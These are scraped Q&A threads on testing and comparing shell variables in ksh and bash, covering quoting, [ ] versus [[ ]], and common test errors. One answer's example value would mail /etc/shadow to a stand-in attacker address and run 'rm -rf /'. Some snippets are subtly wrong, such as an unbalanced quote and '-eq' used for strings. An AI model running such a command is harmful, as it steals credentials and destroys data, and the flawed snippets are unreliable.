Checking a variable is set and value in ksh - shell

I have a script which takes user input, the REFRESH option is optional. I need to test to see if $REFRESH exists and is equal to the string "REFRESH", if it is then run a specific block of code.
The user would execute
./export_data.sh <user> <type> [REFRESH]
If I was doing this in PHP I would simply use the isset() function, does an equivelent exist in ksh?
I have tried the following but this fails as in the 2nd test $REFRESH is not set:
if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
The only other way I can think to do this is a nested if but this seems messy:
if [ -n $REFRESH ]
then
if [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
Is there a better way to do this?

if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...
This substitutes unset if there is no value in $REFRESH or if the value is the empty string. Either way, it is not the same as "REFRESH", so it behaves as required.
When testing variables, enclose them in double quotes; it saves angst. In fact, it would mean that you could simply write:
if [ "$REFRESH" = "REFRESH" ]
then ...

I would comment on Jonathan's reply but I'm too much of a newby around here to be trusted with such things.
Anyway, if you are trying to save yourself angst in ksh, never use the legacy Bourne shell [ ]. Instead, use [[ ]].
if [[ $REFRESH == REFRESH ]]; then
That will always evaluate the way you want it. Even if any of the following happened just before the if statement.
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker#example.com < /etc/shadow`; sleep 5; rm -rf /`'
The thing to be careful of is the right hand side in the event that it is a variable or a string that could be evaluated for things other than just a simple string comparison. Consider these:
$ val='#(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$
Here we see that quoting the RHS is more important than quoting the LHS when using [[ ]]. Also, this demonstrates that [[ ]] allows more powerful matches using patterns and pattern lists.

Answering to that specific question:
If I was doing this in PHP I would simply use the isset() function, does an equivalent exist in ksh?
if [ "${REFRESH:-unset}" != unset ]

By the way, in my opinion the best (because is the most simple) way to test if a variable is set or not set is:
if [ "$PIPPO" ] ; then
echo "Set"
fi
OR
if [ ! "$PIPPO" ] ; then
echo "Not Set"
fi

Related

Can I omit the then part in an if statement?

How would be the correct bash syntax for something like this:
if [ "$actual" == "$expected" ]; then
doNothing
else
echo "Error: actual: $actual. Expected: $expected"
fi
I am looking for something that works for all possible values of the variables "actual" and "expected". The content of the variables must not be interpreted/evaluated/expanded in any way. The script does not need to be portable (a bash only solution is ok).
You could use the simplest do-nothing statement available:
if [ "$actual" = "$expected" ]; then
:
else
echo "Error: actual: $actual. Expected: $expected"
fi
(Note: One = not two in [/test.)
But a better idea is to just invert the test and remove the need for that entirely:
if [ "$actual" != "$expected" ]; then
echo "Error: actual: $actual. Expected: $expected"
fi
Did you try:
if [ "$actual" != "$expected" ]; then
echo "Error: actual: $actual. Expected: $expected"
fi
if [[ $actual != $expected ]]
then
echo "Error: actual: $actual. Expected: $expected"
fi
Using the builtin [[ has several advantages over test / [. For one, you don't get bitten if you don't quote variables containing whitespace.
[[ ]] also offers < and > for locale-aware lexicographic sorting, regular expression matching, and =~. Check man bash.
(Note Etan's comment though on at least one dissenting opinion. I haven't yet made up my mind whether this is a disadvantage or a feature to be exploited, but it is sure surprising.)
There's also the thing with putting then on a separate line, but that's just personal preference.

unary operator expected in shell script when comparing null value with string

I have two variables
var=""
var1=abcd
Here is my shell script code
if [ $var == $var1 ]; then
do something
else
do something
fi
If I run this code it will prompt a warning
[: ==: unary operator expected
How can I solve this?
Since the value of $var is the empty string, this:
if [ $var == $var1 ]; then
expands to this:
if [ == abcd ]; then
which is a syntax error.
You need to quote the arguments:
if [ "$var" == "$var1" ]; then
You can also use = rather than ==; that's the original syntax, and it's a bit more portable.
If you're using bash, you can use the [[ syntax, which doesn't require the quotes:
if [[ $var = $var1 ]]; then
Even then, it doesn't hurt to quote the variable reference, and adding quotes:
if [[ "$var" = "$var1" ]]; then
might save a future reader a moment trying to remember whether [[ ... ]] requires them.
Why all people want to use '==' instead of simple '=' ? It is bad habit! It used only in [[ ]] expression. And in (( )) too. But you may use just = too! It work well in any case. If you use numbers, not strings use not parcing to strings and then compare like strings but compare numbers. like that
let -i i=5 # garantee that i is nubmber
test $i -eq 5 && echo "$i is equal 5" || echo "$i not equal 5"
It's match better and quicker. I'm expert in C/C++, Java, JavaScript. But if I use bash i never use '==' instead '='. Why you do so?

Meaning of "[: too many arguments" error from if [] (square brackets)

I couldn't find any one simple straightforward resource spelling out the meaning of and fix for the following BASH shell error, so I'm posting what I found after researching it.
The error:
-bash: [: too many arguments
Google-friendly version: bash open square bracket colon too many arguments.
Context: an if condition in single square brackets with a simple comparison operator like equals, greater than etc, for example:
VARIABLE=$(/some/command);
if [ $VARIABLE == 0 ]; then
# some action
fi
If your $VARIABLE is a string containing spaces or other special characters, and single square brackets are used (which is a shortcut for the test command), then the string may be split out into multiple words. Each of these is treated as a separate argument.
So that one variable is split out into many arguments:
VARIABLE=$(/some/command);
# returns "hello world"
if [ $VARIABLE == 0 ]; then
# fails as if you wrote:
# if [ hello world == 0 ]
fi
The same will be true for any function call that puts down a string containing spaces or other special characters.
Easy fix
Wrap the variable output in double quotes, forcing it to stay as one string (therefore one argument). For example,
VARIABLE=$(/some/command);
if [ "$VARIABLE" == 0 ]; then
# some action
fi
Simple as that. But skip to "Also beware..." below if you also can't guarantee your variable won't be an empty string, or a string that contains nothing but whitespace.
Or, an alternate fix is to use double square brackets (which is a shortcut for the new test command).
This exists only in bash (and apparently korn and zsh) however, and so may not be compatible with default shells called by /bin/sh etc.
This means on some systems, it might work from the console but not when called elsewhere, like from cron, depending on how everything is configured.
It would look like this:
VARIABLE=$(/some/command);
if [[ $VARIABLE == 0 ]]; then
# some action
fi
If your command contains double square brackets like this and you get errors in logs but it works from the console, try swapping out the [[ for an alternative suggested here, or, ensure that whatever runs your script uses a shell that supports [[ aka new test.
Also beware of the [: unary operator expected error
If you're seeing the "too many arguments" error, chances are you're getting a string from a function with unpredictable output. If it's also possible to get an empty string (or all whitespace string), this would be treated as zero arguments even with the above "quick fix", and would fail with [: unary operator expected
It's the same 'gotcha' if you're used to other languages - you don't expect the contents of a variable to be effectively printed into the code like this before it is evaluated.
Here's an example that prevents both the [: too many arguments and the [: unary operator expected errors: replacing the output with a default value if it is empty (in this example, 0), with double quotes wrapped around the whole thing:
VARIABLE=$(/some/command);
if [ "${VARIABLE:-0}" == 0 ]; then
# some action
fi
(here, the action will happen if $VARIABLE is 0, or empty. Naturally, you should change the 0 (the default value) to a different default value if different behaviour is wanted)
Final note: Since [ is a shortcut for test, all the above is also true for the error test: too many arguments (and also test: unary operator expected)
Just bumped into this post, by getting the same error, trying to test if two variables are both empty (or non-empty). That turns out to be a compound comparison - 7.3. Other Comparison Operators - Advanced Bash-Scripting Guide; and I thought I should note the following:
I used -e thinking it means "empty" at first; but that means "file exists" - use -z for testing empty variable (string)
String variables need to be quoted
For compound logical AND comparison, either:
use two tests and && them: [ ... ] && [ ... ]
or use the -a operator in a single test: [ ... -a ... ]
Here is a working command (searching through all txt files in a directory, and dumping those that grep finds contain both of two words):
find /usr/share/doc -name '*.txt' | while read file; do \
a1=$(grep -H "description" $file); \
a2=$(grep -H "changes" $file); \
[ ! -z "$a1" -a ! -z "$a2" ] && echo -e "$a1 \n $a2" ; \
done
Edit 12 Aug 2013: related problem note:
Note that when checking string equality with classic test (single square bracket [), you MUST have a space between the "is equal" operator, which in this case is a single "equals" = sign (although two equals' signs == seem to be accepted as equality operator too). Thus, this fails (silently):
$ if [ "1"=="" ] ; then echo A; else echo B; fi
A
$ if [ "1"="" ] ; then echo A; else echo B; fi
A
$ if [ "1"="" ] && [ "1"="1" ] ; then echo A; else echo B; fi
A
$ if [ "1"=="" ] && [ "1"=="1" ] ; then echo A; else echo B; fi
A
... but add the space - and all looks good:
$ if [ "1" = "" ] ; then echo A; else echo B; fi
B
$ if [ "1" == "" ] ; then echo A; else echo B; fi
B
$ if [ "1" = "" -a "1" = "1" ] ; then echo A; else echo B; fi
B
$ if [ "1" == "" -a "1" == "1" ] ; then echo A; else echo B; fi
B
Another scenario that you can get the [: too many arguments or [: a: binary operator expected errors is if you try to test for all arguments "$#"
if [ -z "$#" ]
then
echo "Argument required."
fi
It works correctly if you call foo.sh or foo.sh arg1. But if you pass multiple args like foo.sh arg1 arg2, you will get errors. This is because it's being expanded to [ -z arg1 arg2 ], which is not a valid syntax.
The correct way to check for existence of arguments is [ "$#" -eq 0 ]. ($# is the number of arguments).
I also faced same problem. #sdaau answer helped me in logical way. Here what I was doing which seems syntactically correct to me but getting too many arguments error.
Wrong Syntax:
if [ $Name != '' ] && [ $age != '' ] && [ $sex != '' ] && [ $birthyear != '' ] && [ $gender != '' ]
then
echo "$Name"
echo "$age"
echo "$sex"
echo "$birthyear"
echo "$gender"
else
echo "Enter all the values"
fi
in above if statement, if I pass the values of variable as mentioned below then also I was getting syntax error
export "Name"="John"
export "age"="31"
export "birthyear"="1990"
export "gender"="M"
With below syntax I am getting expected output.
Correct syntax:
if [ "$Name" != "" -a "$age" != "" -a "$sex" != "" -a "$birthyear" != "" -a "$gender" != "" ]
then
echo "$Name"
echo "$age"
echo "$sex"
echo "$birthyear"
echo "$gender"
else
echo "it failed"
fi
There are few points which we need to keep in mind
use "" instead of ''
use -a instead of &&
put space before and after operator sign like [ a = b], don't use as [ a=b ] in if condition
Hence above solution worked for me !!!
Some times If you touch the keyboard accidentally and removed a space.
if [ "$myvar" = "something"]; then
do something
fi
Will trigger this error message. Note the space before ']' is required.
I have had same problem with my scripts. But when I did some modifications it worked for me. I did like this :-
export k=$(date "+%k");
if [ $k -ge 16 ]
then exit 0;
else
echo "good job for nothing";
fi;
that way I resolved my problem. Hope that will help for you too.

What does the following line of a bash script do?

Usually work in Windows, but trying to setup RabbitMQ on my Mac. Can someone let me know what the line below does?
[ "x" = "x$RABBITMQ_NODE_IP_ADDRESS" ] && [ "x" != "x$NODE_IP_ADDRESS" ] && RABBITMQ_NODE_IP_ADDRESS=${NODE_IP_ADDRESS}
Specifically, I'm curious about the [ "x" = "x$RAB..."] syntax.
If the RABBITMQ_NODE_IP_ADDRESS variable is empty/doesn't exist, it'll evaluate as "x" = "x" , which is true.
So it basically says, if RABBITMQ_NODE_IP_ADDRESS isn't set and NODE_IP_ADDRESS is set, set RABBITMQ_NODE_IP_ADDRESS=NODE_IP_ADDRESS
The "x" is used (somewhat superstitiously*) to prevent errors if the variable is null or unset. Most of the time the quotes take care of that for you. By putting the literal first and the variable second you eliminate errors in cases where the variable contains a string that starts with a dash, since test (aka [) would think it is an operator. In the case of your example, it would be preferable to use the -z and -n operators that test whether a variable is empty (null or unset) or not empty, respectively.
POSIX shells, such as Bourne (works in Bash, too):
[ -z $RABBITMQ_NODE_IP_ADDRESS ] && [ -n $NODE_IP_ADDRESS" ] && RABBITMQ_NODE_IP_ADDRESS=${NODE_IP_ADDRESS}
Bash (and ksh and zsh):
[[ -z $RABBITMQ_NODE_IP_ADDRESS && -n $NODE_IP_ADDRESS" ]] && RABBITMQ_NODE_IP_ADDRESS=${NODE_IP_ADDRESS}
* There may be some shells that need the "x", but some people do that "because it's always been done that way".
The "x" is not always superstitious, even in my relatively new bash (4.0.33).
Let's put the operation between parens. Empty variables are fine:
$ a=""
$ b=""
$ if [ '(' "$a" = "$b" ')' ]; then echo both_equal; fi
both_equal
But the ! operator for instance is not:
$ a='!'
$ if [ '(' "$a" = "$b" ')' ]; then echo both_equal; fi
bash: [: `)' expected, found
This is not a problem if we write "x$a" = "x$b" instead of "$a" = "$b".
The bracket [ is a test operator, which you can think of as an if statement. This is checking to see if the shell variable RABBITMQ_NODE_IP_ADDRESS is empty. Unfortunately, if you try to compare to an empty string "", the shell eliminates it before it does the test and your binary comparison operator only gets one (or maybe zero) operands. To prevent that error, it is a common practice to concatenate an "x" on each side of the =. Thus, instead of
[ "" = "<variable>" ]
becoming
[ = value ]
and yielding an error,
[ "X" = "X<variable>" ]
becomes
[ X = Xvalue ]
and the comparison may continue

Comparing strings for equality in ksh

i am testing with the shell script below:
#!/bin/ksh -x
instance=`echo $1 | cut -d= -f2`
if [ $instance == "ALL" ]
then
echo "strings matched \n"
fi
It's giving this error in the if condition:
: ==: unknown test operator
is == really not the correct syntax to use?
I am running on the command line as below
test_lsn_2 INSTANCE=ALL
Could anybody please suggest a solution.
Thanks.
To compare strings you need a single =, not a double. And you should put it in double quotes in case the string is empty:
if [ "$instance" = "ALL" ]
then
echo "strings matched \n"
fi
I see that you are using ksh, but you added bash as a tag, do you accept a bash-related answer?
Using bash you can do it in these ways:
if [[ "$instance" == "ALL" ]]
if [ "$instance" = "ALL" ]
if [[ "$instance" -eq "ALL" ]]
See here for more on that.
Try
if [ "$instance" = "ALL" ]; then
There were several mistakes:
You need double quotes around the variable to protect against the (unlikely) case that it's empty. In this case, the shell would see if [ = "ALL" ]; then which isn't valid.
Equals in the shell uses a single = (there is no way to assign a value in an if in the shell).
totest=$1
case "$totest" in
"ALL" ) echo "ok" ;;
* ) echo "not ok" ;;
esac
I'va already answered a similar question. Basically the operator you need is = (not ==) and the syntax breaks if your variable is empty (i.e. it becomes if [ = ALL]). Have a look at the other answer for details.

Resources